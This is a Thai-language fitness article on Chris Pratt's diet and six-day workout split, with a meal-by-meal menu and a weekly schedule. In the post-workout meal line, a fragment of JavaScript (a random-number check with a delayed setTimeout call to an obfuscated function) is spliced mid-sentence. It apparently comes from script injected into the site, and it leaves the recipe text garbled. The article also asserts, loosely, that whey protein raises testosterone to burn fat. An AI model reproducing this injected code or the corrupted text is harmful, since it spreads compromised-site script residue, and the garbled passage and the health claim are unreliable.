หุ่นฟ้อหล่อเฟี้ยวแบบ Chris Pratt

หุ่นฟ้อหล่อเฟี้ยวแบบ Chris Pratt

กินและออกกำลังกายอย่างไรให้เท่เหมือนพี่ Chris Pratt

ช่วงเวลานี้ไม่ต้องบอกก็รู้ว่าดาราฮอลี่วูลคนไหน ฮอตที่สุด ตั้งแต่เรื่อง Guardian of the Galaxy มาถึงเรื่อง Jurassic World พี่ Chris Pratt ยังคงความหล่อล่ำไม่เสื่อมคลาย เราไปดูกันว่าเคล็ดลับในการควบคุมรูปร่างและน้ำหนัก พี่แกทำอะไรไปบ้าง

ประการแรกเลยคือ การปรับทัศนะคติ หรือการมี Real Commitment คิดดูว่าเขาต้องเอาไขมันออกและสร้างมวลกล้ามเนื้อขึ้นมาใหม่ ซึ่งคิดเปรียบเทียบกับน้ำหนักเดิมเป็น 60 ปอนด์หรือประมาณ 30 กิโลที่ต้องเอาออก

สองคือเข้ารับคำปรึกาจาก นักโภชนาการ และเทรนเนอร์ ในการควบคุมอาหารและออกแบบการฝึกที่ถูกต้อง พี่ Chris บอกว่าเขาต้องควบคุมอาหารและฝึกสร้างกล้ามเนื้อไปพร้อมๆ กัน เป็นงานที่ไม่ง่ายเลย เพราะต้องเลือกกินและเลือกเวลากินด้วย

หลังจากอัดความรู้เข้าสมองแล้วคุณพี่ Chris จากนักโภชนาการแล้ว ยังต้องอัดโปรตีนสังเคราะห์อย่าง การกินเวย์โปรตีน เพื่อรักษาระดับและกระตุ้นฮอร์โมนในการเบริ์นไขมันอย่าง Testosterone

ตารางฝึกของพี่ Chris ค่อนข้างแน่นเอี้ยด ต้องฝึก 6 วันต่อสัปดาห์ ซึ่งการฝึกจะประกอบไปด้วยการฝึกสร้างกล้ามเนื้อทั่วไป (bodybuilding) และการฝึกแบบ cardio แบบพิเศษที่เรียกว่า muscle building cardio ออกแบบโดยเทรนเนอร์ชั้นนำของฮอลลี่วูล

การฝึกแบบ muscle building cardio พี่ Chris บอกว่ายากที่สุดครับ เพราะเป็นการฝึกกล้ามเนื้อส่วนที่เรียกว่า fast twitch muscle fiber ที่ใช้ในการออกแรงระเบิด หรือการเคลื่อนไหวเร็วๆ อย่างการสปรินซ์ กระโดดและยกเวท และการ recovery ของกล้ามเนื้อนี้ก็กินเวลานานด้วย แต่ก็ไปกระตุ้นฮอร์โมนทำให้ร่างกายมีการเพิ่มระดับการเผาผลาญไขมัน 24 ชั่วโมง

การเปลี่ยนแปลงรูปร่างของเขาเร็วมากกว่าปกติเพราะเค้าจำเป็นต้องแสดงเป็นตัวเอกในหนังเรื่อง Guardian of the Galaxy ดังนั้นจึงจำเป็นต้องมีการกินพวกอาหารเสริม การออกแบบเทรนนิ่งเป็นพิเศษและการควบคุมอาหารโดยผู้เชี่ยวชาญ

เอาล่ะ! เรามาดูเมนูอาหารของหนุ่มหล่อ Chris Pratt กัน….

1. มื้อเช้า Breakfast

ไข่ 2 ฟอง ( 2 Whole Eggs)
ไข่ขาวคน 6 ฟองทอดกับน้ำมันมะพร้าว 1 ช้อนโต้ะ (Scrambled Egg whites cooked in 1 tbsp coconut oil)
โปะหน้าด้วย อโวกาโดครึ่งลูกกับมะเขือเทศ

2. มื้อเช้าที่สอง Mid-Morning snack

อกไก่ย่าง 1 ชิ้น
ผักลวกผสม บร็อคโคลี่กับดอกกะหล่ำ 2 ถ้วยเล็ก ( 2 Cups Mixed Steamed Veggies (Broccoli, Cauliflower))

3. มื้อเที่ยง lunch

เนื้อไก่ turkey ปด ½ ปอนด์ แบบไร้ไขมัน 99% ราดหน้าด้วยผักสลัด 4 ช้อนโต้ะ
(½ Lb 99 percent fat free ground turkey topped with 4 Tbsp Organic garden salsa)

4. อาหารสร้างกล้ามเนื้อ หลังจากออกกำลังกายเสร็จ Post Workout Muscle Building Shake

40 Grams of Whey Isolate
50 Grams of Maltodextrin
5 grams L glutamine

5. อาหารมื้อหลังจากการออกกำลังกาย Post Workout Meal

ปลานิล 8 ออนซ์หรือประมาณ 250 กรัม (8 Ounces Grilled Tilapia)
มันฝรั่งต้มราดด้วยน้ำผึ้งอบเชย 1 ช้อนโต้ะ 1 เซตใหญ่ (1 Large Sweet Potato topped with 1 tbsp Raw Honey andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Cinnamon)

6. มื้อเย็น Dinner

ปลาแซลมอน 8 ออนซ์หรือระมาณ 250 กรัม ทอดด้วยน้ำมันมะพร้าว 1 ช้อนโต้ะ (8 ounces pan seared Salmon in 1 tbsp coconut oil)
ผัก ปวยเล้ง(Spinach) 2 ถ้วย นึ่งและราดด้วย พริกชี้ฟ้า (2 Cups steamed Spinach topped with Cayenne pepper)

ต่อจากอาหารเรามาดู ตารางออกกำลังกายกันต่อ

วันจันทร์

1. Back
2. Biceps
3. Muscle Building Cardio

วันอังคาร

1. Chest
2. Triceps
3. Abs

วันพุธ

1. Muscle Building Cardio

วันพฤหัสบดี

1. Traps
2. Shoulders
3. Abs

วันศุกร์

1. Legs

วันเสาร์
พัก

วันอาทิตย์

1. Muscle Building Cardio

สำหรับใครที่อยากดูว่าแต่ละวันเล่นท่าอะไรบ้าง สามารถดูได้ที่……. http://www.pkbaseline.com/how-chris-pratt-lost-60-pounds-for-guardians-of-the-galaxy/

และแนะนำ Runtastic libra ตราชั่งที่ช่วยในการจดบันทึก Body composition ของเรา อย่างเช่น ปริมาณไขมัน มวลกล้ามเนื้อและปริมาณแคลอลรี่ที่ควรได้รับในแต่ละวัน